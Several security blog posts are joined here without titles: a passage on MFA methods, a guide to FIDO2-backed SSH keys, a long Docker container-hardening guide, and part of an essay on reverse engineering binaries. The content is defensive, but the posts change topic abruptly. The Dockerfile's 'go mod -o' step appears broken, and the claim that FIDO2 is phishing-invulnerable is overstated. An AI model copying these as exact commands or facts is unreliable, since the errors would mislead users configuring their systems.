Even if the push notification application and server is provided by a first-party as is the case with Microsoft login and Microsoft Authenticator, there is still a risk of you accidentally tapping on the confirmation button.

Time-based One-time Password (TOTP)

TOTP is one of the most common forms of MFA available. When you set up TOTP, you setup a “shared secret” with the service that you intend to use and store it in your authentication app.

The time-limited code is then derived from the shared secret and the current time. As the code is only valid for a short time, without access to the shared secret, an adversary cannot generate new codes.

If you have a YubiKey, you should store the “shared secrets” on the key itself using the Yubico Authenticator app. After the initial setup, the Yubico Authenticator will only expose the 6 digit code to the machine it is running on, but not the shared secret. Additional security can be set up by requiring touch confirmation, protecting digit codes not in used from a compromised operating system.

Unlike WebAuthn, TOTP offers no protection against phishing or reuse attacks. If an adversary obtains a valid code from you, they may use it as many times as they like until it expires (generally 30 seconds + grace period).

Despite its short comings, we consider TOTP better and safer than Push Confirmations.

Yubico OTP

Yubico OTP is an authentication protocol typically implemented in hardware security keys. When you decide to use Yubico OTP, the key will generate a public ID, private ID, and a Secret Key which is then uploaded to the Yubico OTP server.

When logging into a website, all you need to do is to physically touch the security key. The security key will emulate a keyboard and print out a one-time password into the password field.

The service will then forward the one-time password to the Yubico OTP server for validation. A counter is incremented both on the key and Yubico’s validation server. The OTP can only be used once, and when a successful authentication occurs, the counter is increased which prevents reuse of the OTP. Yubico provides a detailed document about the process.

The Yubico validation server is a cloud based service, and you’re placing trust in Yubico that their server won’t be used to bypass your MFA or profile you. The public ID associated with Yubico OTP is reused on every website and could be another avenue for third-parties to profile you. Like TOTP, Yubico OTP does not provide phishing resistance.

Yubico OTP is an inferior protocol compared to TOTP since TOTP does not need trust in a third-party server and most security keys that support Yubico OTP (namely the YubiKey and OnlyKey) supports TOTP anyway. Yubico OTP is still better than Push Confirmation, however.

FIDO2 (Fast IDentity Online)

FIDO includes a number of standards; first there was U2F and then later FIDO2 which includes the web standard WebAuthn.

U2F and FIDO2 refer to the Client to Authenticator Protocol, which is the protocol between the security key and the computer, such as a laptop or phone. It complements WebAuthn which is the component used to authenticate with the website (the “Relying Party”) you’re trying to log in on.

WebAuthn is the most secure and private form of second factor authentication. While the authentication experience is similar to Yubico OTP, the key does not print out a one-time password and validate with a third-party server. Instead, it uses public key cryptography for authentication.

Since FIDO2/WebAuthn uses unique cryptographic keys with each internet site, a site pretending to be another one will not be able to get the correct response to the challenge for MFA, making FIDO2/Webauthn is invulnerable phising. It is also because of this authentication mechanism that a physical FIDO2 security key is not identifiable across different services like Yubico OTP. Even better, FIDO2 uses a counter for each authentication, which would help with detecting cloned keys.

If a website or service supports WebAuthn for the authentication, it is highly recommended that you use it over any other form of MFA.

Notes

Initial Set Up

When buying a security key, it is important that you change the default credentials, set up password protection for the key, and enable touch confirmation if your key supports it. Products such as the YubiKey have multiple interfaces with separate credentials for each one of them, so you should go over each interface and set up protection as well.

Backups

You should always have backups for your MFA method. Hardware security keys can get lost, stolen, or simply stop working over time. It is recommended that you have a pair of hardware security keys with the same access to your accounts instead of just one.

When using TOTP with an authenticator app, be sure to back up your recovery keys to an offline and encrypted storage device.

Weakest link

You are only as secure as the weakest authentication method you use. For instance, it makes little sense to add SMS 2FA as an alternative MFA method if you are already using FIDO2. An adversary who can compromise your SMS 2FA will get into your account just as easily as if you didn’t use FIDO2 at all.

Thus, it is important to stick to the best authentication method you have access to. It is better to have 2 Yubikeys for FIDO2 than 1 FIDO2 key and one authenticator app for TOTP. Likewise, it is better to have 1 TOTP instance and a backup key than to use TOTP alongside with Email or SMS 2FA.

Why?

The main problem with SSH keys is that they’re not magic: they consist of a key pair, of which the private key is stored on your disk. You should be wary of various exfiltration attempts, depending on your theat model:

• If your disk is not encrypted, any physical access could compromise your keys.
• If your private key isn’t encrypted, malicious applications could compromise it.
• Even with both encrypted, malicious applications could register your keystrokes.

All these attempts are particularly a thing on desktop platforms, because they don’t have a proper sandboxing model. On Windows, non-UWP apps could likely have full access to your .ssh directory. On desktop Linux distributions, sandboxing is also lacking, and the situation is even worse if you’re using X.org since it allows apps to spy on each other (and on your keyboard) by design. A first good step would be to only use SSH from a trusted & decently secure system.

Another layer of defense would obviously be multi-factor authentication, or the fact that you’re relying on a shared secret instead. We can use FIDO2 security keys for that. That way, even if your private key is compromised, the attacker needs physical access to your security key. TOTP is another common 2FA technique, but it’s vulnerable to various attacks, and relies on the quality of the implementation on the server.

How?

Fortunately for us, OpenSSH 8.2 (released in February 2020) introduced native support for FIDO2/U2F. Most OpenSSH distributions should have the middleware set to use the libfido2 library, including portable versions such as the one for Win32.

Basically, ssh-keygen -t ${key_type}-sk will generate for us a token-backed key pair. The key types that are supported depend on your security key. Newer models should support both ECDSA-P256 (ecdsa-sk) and Ed25519 (ed25519-sk). If the latter is available, you should prefer it.

Client configuration

To get started:

ssh-keygen -t ed25519-sk

This will generate a id_ed25519_sk private key and a id_ed25519_sk.pub public key in .ssh. These are defaults, but you can change them if you want. We will call this key pair a “handle”, because they’re not sufficient by themselves to derive the real secret (as you guessed it, the FIDO2 token is needed). ssh-keygen should ask you to touch the key, and enter the PIN prior to that if you did set one (you probably should).

You can also generate a resident key (referred to as discoverable credential in the WebAuthn specification):

ssh-keygen -t ed25519-sk -O resident -O application=ssh:user1

As you can see, a few options must be specified:

• -O resident will tell ssh-keygen to generate a resident key, meaning that the private “handle” key will also be stored on the security key itself. This has security implications, but you may want that to move seamlessly between different computers. In that case, you should absolutely protect your key with a PIN beforehand.
• -O application=ssh: is necessary to instruct that the resident key will use a particular slot, because the security key will have to index the resident keys (by default, they use ssh: with an empty user ID). If this is not specified, the next key generation might overwrite the previous one.
• -O verify-required is optional but instructs that a PIN is required to generate/access the key.

Resident keys can be retrieved using ssh-keygen -K or ssh-add -K if you don’t want to write them to the disk.

Server configuration

Next, transfer your public key over to the server (granted you have already access to it with a regular key pair):

ssh-copy-id -i ~/.ssh/id_ed25519_sk.pub user@server.domain.tld

Ta-da! But one last thing: we need to make sure the server supports this public key format in sshd_config:

PubkeyAcceptedKeyTypes ssh-ed25519,sk-ssh-ed25519@openssh.com

Adding sk-ssh-ed25519@openssh.com to PubkeyAcceptedKeyTypes should suffice. It’s best practice to only use the cryptographic primitives that you need, and hopefully ones that are also modern. This isn’t a full-on SSH hardening guide, but you should take a look at the configuration file GrapheneOS uses for their servers to give you an idea on a few good practices.

Restart the sshd service and try to connect to your server using your key handle (by passing -i ~/.ssh/id_ed25519_sk to ssh for instance). If that works for you (your FIDO2 security key should be needed to derive the real secret), feel free to remove your previous keys from .ssh/authorized_keys on your server.

That’s cool, right?

If you don’t have a security key, you can buy one from YubiKey (I’m very happy with my 5C NFC by the way), Nitrokey, SoloKeys or OnlyKey (to name a few). If you have an Android device with a hardware security module (HSM), such as the Google Pixels equipped with Titan M (Pixel 3+), you could even use them as Bluetooth security keys.

No reason to miss out on the party if you can afford it!

- Hey, your software doesn’t work…

- Sorry, it works on my computer! Can’t help you.

Whether we like them or not, containers are here to stay. Their expressiveness and semantics allow for an abstraction of the OS dependencies that a software has, the latter being often dynamically linked against certain libraries. The developer can therefore provide a known-good environment where it is expected that their software “just works”. That is particularly useful for development to eliminate environment-related issues, and that is often used in production as well.

Containers are often perceived as a great tool for isolation, that is, they can provide an isolated workspace that won’t pollute your host OS - all that without the overhead of virtual machines. Security-wise: containers, as we know them on Linux, are glorified namespaces at their core. Containers usually share the same kernel with the host, and namespaces is the kernel feature for separating kernel resources across containers (IDs, networks, filesystems, IPC, etc.). Containers also leverage the features of cgroups to separate system resources (CPU, memory, etc.), and security features such as seccomp to restrict syscalls, or MACs (AppArmor, SELinux).

At first, it seems that containers may not provide the same isolation boundary as virtual machines. That’s fine, they were not designed to. But they can’t be simplified to a simple chroot either. We’ll see that a “container” can mean a lot of things, and their definition may vary a lot depending on the implementation: as such, containers are mostly defined by their semantics.

Docker is dead, long live Docker… and OCI!

When people think of containers, a large group of them may think of Docker. While Docker played a big role in the popularity of containers a few years ago, it didn’t introduce the technology: on Linux, LXC did (Linux Containers). In fact, Docker in its early days was a high-level wrapper for LXC which already combined the power of namespaces and cgroups. Docker then replaced LXC with libcontainer which does more or less the same, plus extra features.

Then, what happened? Open Container Initiative (OCI). That is the current standard that defines the container ecosystem. That means that whether you’re using Docker, Podman, or Kubernetes, you’re in fact running OCI-compliant tools. That is a good thing, as it saves a lot of interoperability headaches.

Docker is no longer the monolithic platform it once was. libcontainer was absorbed by runc, the reference OCI runtime. The high-level components of Docker split into different parts related to the upstream Moby project (Docker is the “assembled product” of the “Moby components”). When we refer to Docker, we refer in fact at this powerful high-level API that manages OCI containers. By design, Docker is a daemon that communicates with containerd, a lower-level layer, which in turn communicates with the OCI runtime. That also means that you could very well skip Docker altogether and use containerd or even runc directly.

Docker client <=> Docker daemon <=> containerd <=> containerd-shim <=> runc

Podman is an alternative to Docker developed by RedHat, that also intends to be a drop-in replacement for Docker. It doesn’t work with a daemon, and can work rootless by design (Docker has support for rootless too, but that is not without caveats). I would largely recommend Podman over Docker for someone who wants a simple tool to run containers and test code on their machine.

Kubernetes (also known as K8S) is the container platform made by Google. It is designed with scaling in mind, and is about running containers across a cluster whereas Docker focuses on packaging containers on a single node. Docker Swarm is the direct alternative to that, but it has never really took off due to the popularity of K8S.

For the rest of this article, we will use Docker as the reference for our examples, along with the Compose specification format. Most of these examples can be adapted to other platforms without issues.

The nightmare of dependencies

Containers are made from images, and images are typically built from a Dockerfile. Images can be built and distributed through OCI registries: Docker Hub, Google Container Registry, GitHub Container Registry, and so on. You can also set up your own private registry as well, but the reality is that people often pull images from these public registries.

Images, immutability and versioning

Images are what make containers, well, containers. Containers made from the same image should behave similarly on different machines. Images can have tags, which are useful for software versioning. The usage of generic tags such as latest is often discouraged because it defeats the purpose of the expected behavior of the container. Tags are not necessarily immutable by design, and they shouldn’t be (more on that below). Digest, however, is the attribute of an immutable image, and is often generated with the SHA-256 algorithm.

docker.io/library/golang:1.17.1@sha256:232a180dbcbcfa7250917507f3827d88a9ae89bb1cdd8fe3ac4db7b764ebb25
         ^          ^       ^                                   ^ 
         |          |       |                                   |
     Registry     Image    Tag                          Digest (immutable)

Now onto why tags shouldn’t be immutable: as written above, containers bring us an abstraction over the OS dependencies that are used by the packaged software. That is nice indeed, but this shouldn’t lure us into believing that we can forget security updates. The fact is, there is still a whole OS to care about, and we can’t just think of the container as a simple package tool for software.

For these reasons, good practices were established:

• An image should be as minimal as possible (Alpine Linux, or scratch/distroless).
• An image, with a given tag, should be regularly built, without cache to ensure all layers are freshly built.
• An image should be rebuilt when the images it’s based on are updated.

A minimal base system

Alpine Linux is often the choice for official images for the first reason. This is not a typical Linux distribution as it uses musl as its C library, but it works quite well. Actually, I’m quite fond of Alpine Linux and apk (its package manager). If a supervision suite is needed, I’d look into s6. If you need a glibc distribution, Debian provides slim variants for lightweight base images. We can do even better than using Alpine by using distroless images, allowing us to have state-of-the-art application containers.

“Distroless” is a fancy name referring to an image with a minimal set of dependencies, from none (for fully static binaries) to some common libraries (typically the C library). Google maintains distroless images you can use as a base for your own images. If you were wondering, the difference with scratch (empty starting point) is that distroless images contain common dependencies that “almost-statically compiled” binaries may need, such as ca-certificates.

However, distroless images are not suited for every application. In my experience though, distroless is an excellent option with pure Go binaries. Going with minimal images drastically reduces the available attack surface in the container. For example, here’s a multi-stage Dockerfile resulting in a minimal non-root image for a simple Go project:

FROM golang:alpine as build
WORKDIR /app
COPY . .
RUN CGO_ENABLED=0 go mod -o /my_app cmd/my_app

FROM gcr.io/distroless/static
COPY --from=build /my_app /
USER nobody
ENTRYPOINT ["/my_app"]

The main drawback of using minimal images is the lack of tools that help with debugging, which also constitute the very attack surface we’re trying to get rid of. The trade-off is probably not worth the hassle for development-focused containers, and if you’re running such images in production, you have to be confident enough to operate with them. Note that the gcr.io/distroless images have a :debug tag to help in that regard.

Keeping images up-to-date

The two other points are highly problematic, because most software vendors just publish an image on release, and forget about it. You should take it up to them if you’re running images that are versioned but not regularly updated. I’d say running scheduled builds once a week is the bare minimum to make sure dependencies stay up-to-date. Alpine Linux is a better choice than most other “stable” distributions because it usually has more recent packages.

Stable distributions often rely on backporting security fixes from CVEs, which is known to be a flawed approach to security since CVEs aren’t always assigned or even taken care of. Alpine has more recent packages, and it has versioning, so it’s once again a particularly good choice as long as musl doesn’t cause issues.

Is it really a security nightmare?

When people say Docker is a security nightmare because of that, that’s a fair point. On a traditional system, you could upgrade your whole system with a single command or two. With Docker, you’ll have to recreate several containers… if the images were kept up-to-date in the first place. Recreating itself is not a big deal actually: hot upgrades of binaries and libraries often require the services that use them to restart, otherwise they could still use an old (and vulnerable) version of them in memory. But yeah, the fact is most people are running outdated containers, and more often than not, they don’t have the choice if they rely on third-party images.

Trivy is an excellent tool to scan images for a subset of known vulnerabilities an image might have. You should play with it and see for yourself how outdated many publicly available images are.

Supply-chain attacks

As with any code downloaded from a software vendor, OCI images are not exempt from supply-chain attacks. The good practice is quite simple: rely on official images, and ideally build and maintain your own images. One should definitely not automatically trust random third-party images they can find on Docker Hub. Half of these images, if not more, contain vulnerabilities, and I bet a good portion of them contains malwares such as miners or worse.

As an image maintainer, you can sign your images to improve the authenticity assurance. Most official images make use of Docker Content Trust, which works with a OCI registry attached to a Notary server. With the Docker toolset, setting the environment variable DOCKER_CONTENT_TRUST=1 enforces signature verification (a signature is only good if it’s checked in the first place). The SigStore initiative is developing cosign, an alternative that doesn’t require a Notary server because it works with features already provided by the registry such as tags. Kubernetes users may be interested in Connaisseur to ensure all signatures have been validated.

Leave my root alone!

Attack surface

Traditionally, Docker runs as a daemon owned by root. That also means that root in the container is actually the root on the host and may be a few commands away from compromising the host. More generally, the attacker has to exploit the available attack surface to escape the container. There is a huge attack surface, actually: the Linux kernel. Someone wise once said:

The kernel can effectively be thought of as the largest, most vulnerable setuid root binary on the system.

That applies particularly to traditional containers which weren’t designed to provide a robust level of isolation. A recent example was CVE-2022-0492: the attacker could abuse root in the container to exploit cgroups v1, and compromise the host. Of course defense-in-depth measures would have prevented that, and we’ll mention them. But fundamentally, container escapes are possible by design.

Breaking out via the OCI runtime runc is also possible, although CVE-2019-5736 was a particularly nasty bug. The attacker had to gain access to root in the container first in order to access /proc/[runc-pid]/exe, which indicates them where to overwrite the runc binary.

Good practices have been therefore established:

• Avoid using root in the container, plain and simple.
• Keep the host kernel, Docker and the OCI runtime updated.
• Consider the usage of user namespaces.

By the way, it goes without saying that any user who has access to the Docker daemon should be considered as privileged as root. Mounting the Docker socket (/var/run/docker.sock) in a container makes it highly privileged, and so it should be avoided. The socket should only be owned by root, and if that doesn’t work with your environment, use Docker rootless or Podman.

Avoiding root

root can be avoided in different ways in the final container:

• Image creation time: setting the USER instruction in the Dockerfile.
• Container creation time: via the tools available (user: in the Compose file).
• Container runtime: degrading privileges with entrypoints scripts (gosu UID:GID).

Well-made images with security in mind will have a USER instruction. In my experience, most people will run images blindly, so it’s good harm reduction. Setting the user manually works in some images that aren’t designed without root in mind, and it’s also great to mitigate some scenarii where the image is controlled by an attacker. You also won’t have surprises when mounting volumes, so I highly recommend setting the user explicitly and make sure volume permissions are correct once.

Some images allow users to define their own user with UID/GID environment variables, with an entrypoint script that runs as root and takes care of the volume permissions before dropping privileges. While technically fine, it is still attack surface, and it requires the SETUID/SETGID capabilities to be available in the container.

User namespaces: sandbox or paradox?

As mentioned just above, user namespaces are a solution to ensure root in the container is not root on the host. Docker supports user namespaces, for instance you could set the default mapping in /etc/docker/daemon.json:

    "userns-remap": "default"

whoami && sleep 60 in the container will return root, but ps -fC sleep on the host will show us the PID of another user. That is nice, but it has limitations and therefore shouldn’t be considered as a real sandbox. In fact, the paradox is that user namespaces are attack surface (and vulnerabilities are still being found years later), and it’s common wisdom to restrict them to privileged users (kernel.unprivileged_userns_clone=0). That is fine for Docker with its traditional root daemon, but Podman expects you to let unprivileged users interact with user namespaces (so essentially privileged code).

Enabling userns-remap in Docker shouldn’t be a substitute for running unprivileged application containers (where applicable). User namespaces are mostly useful if you intend to run full-fledged OS containers which need root in order to function, but that is out of the scope of the container technologies mentioned in this article; for them, I’d argue exposing such a vulnerable attack surface from the host kernel for dubious sandboxing benefits isn’t an interesting trade-off to make.

The no_new_privs bit

After ensuring root isn’t used in your containers, you should look into setting the no_new_privs bit. This Linux feature restricts syscalls such as execve() from granting privileges, which is what you want to restrict in-container privilege escalation. This flag can be set for a given container in a Compose file:

    security_opt:
        - "no-new-privileges=true"

Gaining privileges in the container will be much harder that way.

Capabilities

Furthermore, we should mention capabilities: root powers are divided into distinct units by the Linux kernel, called capabilities. Each granted capability also grants privilege and therefore access to a significant amount of attack surface. Security researcher Brad Spengler enumerates 19 important capabilities. Docker restricts certain capabilities by default, but some of the most important ones are still available to a container by default.

You should consider the following rule of thumb:

• Drop all capabilities by default.
• Allow only the ones you really need to.

If you already run your containers unprivileged without root, your container will very likely work fine with all capabilities dropped. That can be done in a Compose file:

    cap_drop:
        - ALL
    #cap_add:
    #  - CHOWN
    #  - DAC_READ_SEARCH
    #  - SETUID
    #  - SETGID

Never use the --privileged option unless you really need to: a privileged container is given access to almost all capabilities, kernel features and devices.

Other security features

MACs and seccomp are robust tools that may vastly improve container security.

Mandatory Access Control

MAC stand for Mandatory Access Control: traditionally a Linux Security Module that will enforce a policy to restrict the userspace. Examples are AppArmor and SELinux: the former being more easy-to-use, the later being more fine-grained. Both are strong tools that can help… Yet, their sole presence does not mean they’re really effective. A robust policy starts from a deny all policy, and only allows the necessary resources to be accessed.

seccomp

seccomp (short for secure computing mode) on the other hand is a much simpler and complementary tool, and there is no reason not to use it. What it does is restricting a process to a set of system calls, thus drastically reducing the attack surface available.

Docker provides default profiles for AppArmor and seccomp, and they’re enabled by default for newly created containers unless the unconfined option is explicitly passed. Note: Kubernetes doesn’t enable the default seccomp profile by default, so you should probably try it.

These profiles are a great start, but you should do much more if you take security seriously, because they were made to not break compatibility with a large range of images. The default seccomp profile only disables around 44 syscalls, which are mostly not very common and/or obsoleted. Of course, the best profile you can get is supposed to be written for a given program. It also doesn’t make sense to insist on the permissiveness of the default profiles, and a lof of work has gone into hardening containers.

cgroups

Use cgroups to restrict access to hardware and system resources. You likely don’t want a guest container to monopolize the host resources. You also don’t want to be vulnerable to stupid fork bomb attacks. In a Compose file, consider setting these limits:

    mem_limit: 4g
    cpus: 4
    pids_limit: 256

More runtime options can be found in the official documentation. All of them should have a Compose spec equivalent.

The --cgroup-parent option should be avoided as it uses the host cgroup and not the one configured from Docker (or else), which is the default.

Read-only filesystem

It is good practice to treat the image as some refer to as the “golden image”.

In other words, you’ll run containers in read-only mode, with an immutable filesystem inherited from the image. Only the mounted volumes will be read/write accessible, and those should ideally be mounted with the noexec, nosuid and nodev options for extra security. If read/write access isn’t needed, mount these volumes as read-only too.

However, the image may not be perfect and still require read/write access to some parts of the filesystem, likely directories such as /tmp, /run or /var. You can make a tmpfs for those (a temporary filesystem in the container attributed memory), because they’re not persistent data anyway.

In a Compose file, that would look like the following settings:

    read_only: true
    tmpfs:
        - /tmp:size=10M,mode=0770,uid=1000,gid=1000,noexec,nosuid,nodev

That is quite verbose indeed, but that’s to show you the different options for a tmpfs mount. You want to restrict them in size and permissions ideally.

Network isolation

By default, all Docker containers will use the default network bridge. They will see and be able to communicate with each other. Each container should have its own user-defined bridge network, and each connection between containers should have an internal network. If you intend to run a reverse proxy in front of several containers, you should make a dedicated network for each container you want to expose to the reverse proxy.

The --network host option also shouldn’t be used for obvious reasons since the container would share the same network as the host, providing no isolation at all.

Alternative runtimes (gVisor)

runc is the reference OCI runtime, but that means other runtimes can exist as well as long as they’re compliant with the OCI standard. These runtimes can be interchanged quite seamlessly. There’s a few alternatives, such as crun or youki, respectively implemented in C and Rust (runc is a Go implementation). However, there is one particular runtime that does a lot more for security: runsc, provided by the gVisor project by the folks at Google.

Containers are not a sandbox, and while we can improve their security, they will fundamentally share a common attack surface with the host. Virtual machines are a solution to that problem, but you might prefer container semantics and ecosystem. gVisor can be perceived as an attempt to get the “best of both worlds”: containers that are easy to manage while providing a native isolation boundary. gVisor did just that by implementing two things:

• Sentry: an application kernel in Go, a language known to be memory-safe. It implements the Linux logic in userspace such as various system calls.
• Gofer: a host process which communicates with Sentry and the host filesystem, since Sentry is restricted in that aspect.

A platform like ptrace or KVM is used to intercept system calls and redirect them from the application to Sentry, which is running in the userspace. This has some costs: there is a higher per-syscall overhead, and compatibility is reduced since not all syscalls are implemented. On top of that, gVisor employs security mechanisms we’ve glanced over above, such as a very restrictive seccomp profile between Sentry and the host kernel, the no_new_privs bit, and isolated namespaces from the host.

The security model of gVisor is comparable to what you would expect from a virtual machine. It is also very easy to install and use. The path to runsc along with its different configuration flags (runsc flags) should be added to /etc/docker/daemon.json:

    "runtimes": {
        "runsc-ptrace": {
            "path": "/usr/local/bin/runsc",
            "runtimeArgs": [
                "--platform=ptrace"
            ]
        },
        "runsc-kvm": {
            "path": "/usr/local/bin/runsc",
            "runtimeArgs": [
                "--platform=kvm"
            ]
        }
    }

runsc needs to start with root to set up some mitigations, including the use of its own network stack separated from the host. The sandbox itself drops privileges to nobody as soon as possible. You can still use runsc rootless if you want (which should be needed for Podman):

./runsc --rootless do uname -a
*** Warning: sandbox network isn't supported with --rootless, switching to host ***
Linux 4.4.0 #1 SMP Sun Jan 10 15:06:54 PST 2016 x86_64 GNU/Linux

Linux 4.4.0 is shown because that is the version of the Linux API that Sentry tries to mimic. As you’ve probably guessed, you’re not really using Linux 4.4.0, but the application kernel that behaves like it. By the way, gVisor is of course compatible with cgroups.

Conclusion: what’s a container after all?

Like I wrote above, a container is mostly defined by its semantics and ecosystem. Containers shouldn’t be solely defined by the OCI reference runtime implementation, as we’ve seen with gVisor that provides an entirely different security model.

Still not convinced? What if I told you a container can leverage the same technologies as a virtual machine? That is exactly what Kata Containers does by using a VMM like QEMU-lite to provide containers that are in fact lightweight virtual machines, with their traditional resources and security model, compatibility with container semantics and toolset, and an optimized overhead. While not in the OCI ecosystem, Amazon achieves quite the same with Firecracker.

If you’re running untrusted workloads, I highly suggest you consider gVisor instead of a traditional container runtime. Your definition of “untrusted” may vary: for me, almost everything should be considered untrusted. That is how modern security works, and how mobile operating systems work. It’s quite simple, security should be simple, and gVisor simply offers native security.

Containers are a popular, yet strange world. They revolutionized the way we make and deploy software, but one should not loose the sight of what they really are and aren’t. This hardening guide is non-exhaustive, but I hope it can make you aware of some aspects you’ve never thought of.

One of the biggest parts of the Free and Open Source Software definitions is the freedom to study a program and modify it; in other words, access to editable source code. I agree that such access is essential; however, far too many people support source availability for the wrong reasons. One such reason is that source code is necessary to have any degree of transparency into how a piece of software operates, and is therefore necessary to determine if it is at all secure or trustworthy. Although security through obscurity is certainly not a robust measure, this claim has two issues:

• Source code describes what a program is designed to do; it is unnecessary and insufficient to determine if what it actually does aligns with its intended design.
• Vulnerability discovery doesn’t require source code.

I’d like to expand on these issues, focusing primarily on compiled binaries. Bear in mind that I do not think that source availability is useless from a security perspective (it certainly makes audits easier), and I do think that source availability is required for user freedom. I’m arguing only that source unavailability doesn’t imply insecurity, and source availability doesn’t imply security. It’s possible (and often preferable) to perform security analysis on binaries, without necessarily having source code. In fact, vulnerability discovery doesn’t typically rely upon source code analysis.

I’ll update this post occasionally as I learn more on the subject. If you like it, check back in a month or two to see if it has something new.

PS: this stance is not absolute; I concede to several good counter-arguments in a dedicated section!

How security fixes work

I don’t think anyone seriously claims that software’s security instantly improves the second its source code is published. The argument I’m responding to is that source code is necessary to understand what a program does and how (in)secure it is, and without it we can’t know for sure.

Assuming a re-write that fundamentally changes a program’s architecture is not an option¹, software security typically improves by fixing vulnerabilities via something resembling this process:

1. Someone discovers a vulnerability
2. Developers are informed of the vulnerability
3. Developers reproduce the issue and understand what caused it
4. Developers patch the software to fix the vulnerability

Source code is typically helpful (sometimes essential) to Step 3. If someone has completed Step 3, they will require source code to proceed to Step 4. Source code isn’t necessary for Steps 1 and 2; these steps rely upon understanding how a program misbehaves. For that, we use reverse engineering and/or fuzzing.

Reverse engineering

Understanding how a program is designed is not the same as understanding what a program does. A reasonable level of one type of understanding does not imply the other.

Source code² is essential to describe a program’s high-level, human-comprehensible design; it represents a contract that outlines how a developer expects a program to behave. A compiler or interpreter³ must then translate it into machine instructions. But source code isn’t always easy to map directly to machine instructions because it is part of a complex system:

• Compilers (sometimes even interpreters) can apply optimizations and hardening measures that are difficult to reason about. This is especially true for Just-In-Time compilers that leverage run-time information.

• The operating system itself may be poorly understood by the developers, and run a program in a way that contradicts a developer’s expectations.

• Toolchains, interpreters, and operating systems can have bugs that impact program execution.

• Different compilers and compiler flags can offer different security guarantees and mitigations.

• Source code can be deceptive by featuring sneaky obfuscation techniques, sometimes unintentionally. Confusing naming patterns, re-definitions, and vulnerabilities masquerading as innocent bugs have all been well-documented: look up “hypocrite commits” or the Underhanded C Contest for examples.

• All of the above points apply to each dependency and the underlying operating system, which can impact a program’s behavior.

Furthermore, all programmers are flawed mortals who don’t always fully understand source code. Everyone who’s done a non-trivial amount of programming is familiar with the feeling of encountering a bug during run-time for which the cause is impossible to find…until they notice it staring them in the face on Line 12. Think of all the bugs that aren’t so easily noticed.

Reading the source code, compiling, and passing tests isn’t sufficient to show us a program’s final behavior. The only way to know what a program does when you run it is to…run it.⁴

Special builds

Almost all programmers are fully aware of their limited ability, which is why most already employ techniques to analyze run-time behavior that don’t depend on source code. For example, developers of several compiled languages⁵ can build binaries with sanitizers to detect undefined behavior, races, uninitialized reads, etc. that human eyes may have missed when reading source code. While source code is necessary to build these binaries, it isn’t necessary to run them and observe failures.

Distributing binaries with sanitizers and debug information to testers is a valid way to collect data about a program’s potential security issues.

Dynamic analysis

It’s hard to figure out which syscalls and files a large program program needs by reading its source, especially when certain libraries (e.g. the libc implementation/version) can vary. A syscall tracer like strace(1)⁶ makes the process trivial.

A personal example: the understanding I gained from strace was necessary for me to write my bubblewrap scripts. These scripts use bubblewrap(1) to sandbox programs with the minimum permissions possible. Analyzing every relevant program and library’s source code would have taken me months, while strace gave me everything I needed to know in an afternoon: analyzing the strace output told me exactly which syscalls to allow and which files to grant access to, without even having to know what language the program was written in. I generated the initial version of the syscall allow-lists with the following command⁷:

strace name-of-program program-args 2>&1 \
	| rg '^([a-z_]*)\(.*' --replace '$1' \
	| sort | uniq

This also extends to determining how programs utilize the network: packet sniffers like Wireshark can determine when a program connects to the network, and where it connects.

These methods are not flawless. Syscall tracers are only designed to shed light on how a program interacts with the kernel. Kernel interactions tell us plenty (it’s sometimes all we need), but they don’t give the whole story. Furthermore, packet inspection can be made a bit painful by transit encryption⁸; tracing a program’s execution alongside packet inspection can offer clarity, but this is not easy.

For more information, we turn to core dumps, also known as memory dumps. Core dumps share the state of a program during execution or upon crashing, giving us greater visibility into exactly what data a program is processing. Builds containing debugging symbols (e.g. DWARF) have more detailed core dumps. Vendors that release daily snapshots of pre-release builds typically include some symbols to give testers more detail concerning the causes of crashes. Web browsers are a common example: Chromium dev snapshots, Chrome Canary, Firefox Nightly, WebKit Canary builds, etc. all include debug symbols. Until 2019, Minecraft: Bedrock Edition included debug symbols which were used heavily by the modding community.⁹

Dynamic analysis example: Zoom

In 2020, Zoom Video Communications came under scrutiny for marketing its “Zoom” software as a secure, end-to-end encrypted solution for video conferencing. Zoom’s documentation claimed that it used “AES-256” encryption. Without source code, did we have to take the docs at their word?

The Citizen Lab didn’t. On 2020-04-03, it published a report revealing critical flaws in Zoom’s encryption. It utilized Wireshark and mitmproxy to analyze networking activity, and inspected core dumps to learn about its encryption implementation. The Citizen Lab’s researchers found that Zoom actually used an incredibly flawed implementation of a weak version of AES-128 (ECB mode), and easily bypassed it.

Syscall tracing, packet sniffing, and core dumps are great, but they rely on manual execution which might not hit all the desired code paths. Fortunately, there are other forms of analysis available.

Binary analysis

Tracing execution and inspecting memory dumps can be considered forms of reverse engineering, but they only offer a surface-level view of what’s going on. Reverse engineering gets much more interesting when we analyze a binary artifact.

Static binary analysis is a powerful way to inspect a program’s underlying design. Decompilation (especially when supplemented with debug symbols) can re-construct a binary’s assembly or source code. Symbol names may look incomprehensible in stripped binaries, and comments will be missing. What’s left is more than enough to decipher control flow to uncover how a program processes data. This process can be tedious, especially if a program uses certain forms of binary obfuscation.

The goal doesn’t have to be a complete understanding of a program’s design (incredibly difficult without source code); it’s typically to answer a specific question, fill in a gap left by tracing/fuzzing, or find a well-known property. When developers publish documentation on the security architecture of their closed-source software, reverse engineering tools like decompilers are exactly what you need to verify their honesty (or lack thereof).

Decompilers are seldom used alone in this context. Instead, they’re typically a component of reverse engineering frameworks that also sport memory analysis, debugging tools, scripting, and sometimes even IDEs. I use the Rizin framework, but Ghidra is also popular. Their documentation should help you get started if you’re interested.

Example: malware analysis

These reverse-engineering techniques—a combination of tracing, packet sniffing, binary analysis, and memory dumps—make up the workings of most modern malware analysis. See this example of a fully-automated analysis of the Zoom Windows installer. It enumerates plenty of information about Zoom without access to its source code: reading unique machine information, anti-VM and anti-reverse-engineering tricks, reading config files, various types of network access, scanning mounted volumes, and more.

To try this out yourself, use a sandbox designed for dynamic analysis. Cuckoo is a common and easy-to-use solution, while DRAKVUF is more advanced.

Extreme example: the truth about Intel ME and AMT

The Intel Management Engine (ME) is a mandatory subsystem of all Intel processors (after 2008) with extremely privileged access to the host system. Active Management Technology (AMT) runs atop it on the subset of Intel processors with “vPro” branding. The latter can be disabled and is intended for organizations to remotely manage their inventory (installing software, monitoring, remote power-on/sleep/wake, etc).

The fact that Intel ME has such deep access to the host system and the fact that it’s proprietary have both made it the subject of a high degree of scrutiny. Many people (most of whom have little experience in the area) connected these two facts together to allege that the ME is a backdoor, often by confusedly citing functionality of Intel AMT instead of ME. Is it really impossible to know for sure?

